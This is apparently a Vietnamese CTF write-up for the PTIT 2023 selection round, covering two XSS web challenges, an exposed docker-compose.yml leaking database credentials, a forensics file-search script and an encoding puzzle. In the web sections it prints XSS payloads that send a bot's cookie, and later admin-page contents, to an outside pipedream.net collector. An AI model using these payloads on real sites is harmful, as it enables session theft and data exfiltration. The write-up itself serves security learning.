Home Writeup CTF Tuyển chọn SVATT PTIT 2023
Post
Cancel

Writeup CTF Tuyển chọn SVATT PTIT 2023

Writeup CTF Tuyển chọn SVATT PTIT 2023


Web01

Untitled

Chúng ta được cho 2 link, 1 là link challenge, 2 là link của con bot. Kinh nghiệm cho mình thấy đây là 1 bài Reflected XSS để lấy cookie

Sau khi đăng ký và đăng nhập, đây là UI của web challenge gồm 1 form để nhập note, và note được nhập sẽ hiển thị ngay bên dưới

Untitled

Test thử với payload đơn giản <img src=x onerror=alert(1), nhận thấy trang web bị lỗi XSS.

Untitled

Ý tưởng bây giờ là khai thác Reflected XSS để lấy cookie của bot. Payload để lấy cookie của bot:

1
<img src=x onerror="this.src='https://eo4kqgjvne2o998.m.pipedream.net/?'+document.cookie; this.removeAttribute('onerror');">

Giải thích payload: Javascript được thực thi sẽ gửi GET HTTP request đến URL requestbin kèm với cookie của bot

Sau khi gửi đường link cho bot, mã Javascript được thực thi, lấy được cookie của bot

Untitled

Thay cookie của người dùng bằng Cookie của bot, truy cập admin panel ta sẽ lấy được flag

Untitled

Untitled


Web02

Untitled

UI của challenge là 1 form search

Untitled

Form search làm mình nghĩ ngay đến SQLi : D. Nhưng sau khi test thử với Burp Suite và sqlmap thì mình không detect được SQLi xD

dirsearch URL của challenge, tìm được 1 endpoint thú dzị là /docker-compose.yml

Untitled

Truy cập 167.172.80.186:5000/docker-compose.yml lấy được password vào mysql db : D

Untitled

Chui vào db mình lấy được flag xD

Untitled


Web01-again

Untitled

Vẫn là cái UI của bài web01 trước

Untitled

vẫn là con BOT cũ

Untitled

Nhưng cái khác ở đây là không thể dùng Reflected XSS để lấy cookie của bot do có flag http-only

Untitled

Ý tưởng của mình là thay vì lấy cookie của con bot để vào được admin panel, giờ mình sẽ điều khiển con bot lấy luôn flag về cho mình : D

POC để con bot truy cập admin pannel và lấy flag cho mình

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
   var req = new XMLHttpRequest(); // Initializes the request object
   req.onload=reqListener; // Set the listener reqListener that is triggered when the response is ready
   var url="http://167.172.80.186:9999/admin.php"; // Initializes the URL of the PHP info page
   req.withCredentials=true; // Send the cookie header
   req.open("GET",url,false); // The request will be sent to the PHP info page of Metasploitable 2 (192.168.240.128) through the GET method synchronously
   req.send(); // Send the request
   function reqListener() {
      var req2=new XMLHttpRequest(); 
      const sess=this.responseText.substring(this.responseText.indexOf("ATTT"));
      req2.open("GET","https://eoisvenotwsj688.m.pipedream.net/?data="+btoa(sess),false);
      req2.send() 
   };
</script>

ok, giải thích qua 1 chút POC

đầu tiên bot sẽ truy cập vào trang admin

Sau đó nó sẽ lọc response để lấy ra flag theo format ATTT{.......}

bước cuối nó gửi flag để server của mình, mã hóa base64 để tránh việc request URL quá dài

và boom

Untitled

và boom, again

Untitled


For01

Untitled

Ok, challenge này cho chúng ta 1 file rar, sau khi giải nén cấu trúc thư mục sẽ như thế này

Untitled

Tóm gọn lại là có 100 thư mục được đánh dấu từ 0-100, trong mỗi thư mục lại có 100 thư mục được đặt tên từ 0-100. Trong mỗi thư mục con lại có 100 file .txt 0.txt đến 100.txt . Nhiệm vụ của chúng ta là tìm ra flag trong đống file .txt đấy : D. Mình dùng python để tự động hóa quá trình tìm flag. Đây là source code:

1
2
3
4
5
6
7
8
9
import os

for i in range(0,101):
    for j in range(0,101):
        for filename in os.listdir('./{}/{}/'.format(i,j)):
            f = open('./{}/{}/'.format(i,j)+filename,'r')
            r = f.read()
            if r != "almost" and r != "no" and r!="nah" and r!="you_got_it" and r!="try_again" and r!="Not_this_time" and r!="so_close" and r!="nope" and r!="better_luck_next_time":
                print(r)

Mình sử dụng 2 vòng lặp và đọc tất cả các file .txt trong thư mục con, kết quả tìm ra flag : D

Untitled


Crypto01

Untitled

Source code enc.cpp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream>
#include <string>
using namespace std;

#define EL printf("\n")

string flag = "ATTT{fake_flag}";

void bases(string &s) {
    for (int i = 0; i < s.size(); i += 4)
        printf("%o %u %x %u ", (unsigned char) s[i], (unsigned char) s[i + 1], (unsigned char) s[i + 2], (unsigned char) s[i + 3]);
    EL;
}

int main() {
    freopen("res.txt", "w", stdout);
    bases(flag);

    return 0;
}

Thuật toán: Lấy 4 kí tự liền nhau, kí tự đầu tiên sẽ chuyển về dạng octal, kí tự thứ 2 là dạng decimal, kí tự thứ 3 là dạng hex và kí tự thứ 4 tiếp tục là decimal, và lặp lại như vậy đến khi hết chuỗi.

Mình hiểu thuật toán nhưng quên mất cách code c++, code python thì lú nên tức quá quay ra làm bằng tay xD. Bật 4 tab cyberchef và quẩy tầm 2,3p mình được flag ám ảnh nhất mình từng tìm được : D

Untitled

This post is licensed under CC BY 4.0 by the author.

Đừng chơi Bug bounty, chạy, chạy ngay đi!!

-